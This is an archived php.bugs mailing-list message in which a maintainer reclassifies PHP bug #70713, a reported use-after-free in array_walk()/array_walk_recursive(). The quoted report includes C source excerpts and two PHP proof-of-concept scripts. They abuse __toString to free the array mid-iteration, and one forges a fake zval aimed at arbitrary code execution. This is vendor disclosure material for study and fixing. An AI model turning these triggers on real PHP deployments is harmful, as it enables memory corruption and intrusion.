Sec Bug->Bug #70713 [Opn]: Use After Free Vulnerability in array_walk()/array_walk_recursive()

From: Date: Wed, 14 Oct 2015 16:43:47 +0000
Subject: Sec Bug->Bug #70713 [Opn]: Use After Free Vulnerability in array_walk()/array_walk_recursive()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-196607@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=70713&edit=1

 ID:                 70713
 Updated by:         stas@php.net
 Reported by:        taoguangchen at icloud dot com
 Summary:            Use After Free Vulnerability in
                     array_walk()/array_walk_recursive()
 Status:             Open
-Type:               Security
+Type:               Bug
 Package:            *General Issues
 Operating System:   *
 PHP Version:        Irrelevant
 Block user comment: N
 Private report:     Y



Previous Comments:
------------------------------------------------------------------------
[2015-10-14 16:39:21] taoguangchen at icloud dot com

Description:
------------
Use After Free Vulnerability in array_walk()/array_walk_recursive()

```
static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */
{
	...
	
	BG(array_walk_fci).retval_ptr_ptr = &retval_ptr;
	BG(array_walk_fci).param_count = userdata ? 3 : 2;
	BG(array_walk_fci).params = args;
	BG(array_walk_fci).no_separation = 0;
	
	/* Iterate through hash */
	zend_hash_internal_pointer_reset(target_hash);
	while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) ==
SUCCESS) {
	
	...
			if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) ==
SUCCESS) {
	...

PHP_FUNCTION(array_walk)
{
	...

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array,
&BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) {
		BG(array_walk_fci) = orig_array_walk_fci;
		BG(array_walk_fci_cache) = orig_array_walk_fci_cache;
		return;
	}

	php_array_walk(array, userdata, 0 TSRMLS_CC);
```

the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to
call to the object's magic methods, this means an attacker will be able to changes the original
array and its elements. this should result in use-after-free attack and arbitrary code execution.

PoC1
```
class obj
{
	function __tostring()
	{
		global $arr, $zval;
		
		$arr = 1;
		$zval = ptr2str(2);
		$zval .= ptr2str(0x1122334455);
		$zval .= "\x00\x00\x00\x00";
		$zval .= "\x05";
		$zval .= "\x00";
		$zval .= "\x00\x00";
		
		return 'hi';
	}
}

$arr = array('string' => new obj, 1);
array_walk_recursive($arr, 'settype');
```

PoC2
```
class obj
{
	function __tostring()
	{
		global $arr;
		
		$arr = 1;
		for ($i = 0; $i < 5; $i++) {
			$v[$i] = 'hi'.$i;
		}
		
		return 'hi';
	}
}

$arr = array('string' => new obj);
array_walk_recursive($arr, 'settype');
```



------------------------------------------------------------------------



--
Edit this bug report at https://bugs.php.net/bug.php?id=70713&edit=1


Thread (1 message)

  • stas@php.net
  • Unknown Message
    • stas@php.net
« previous php.bugs (#196607) next »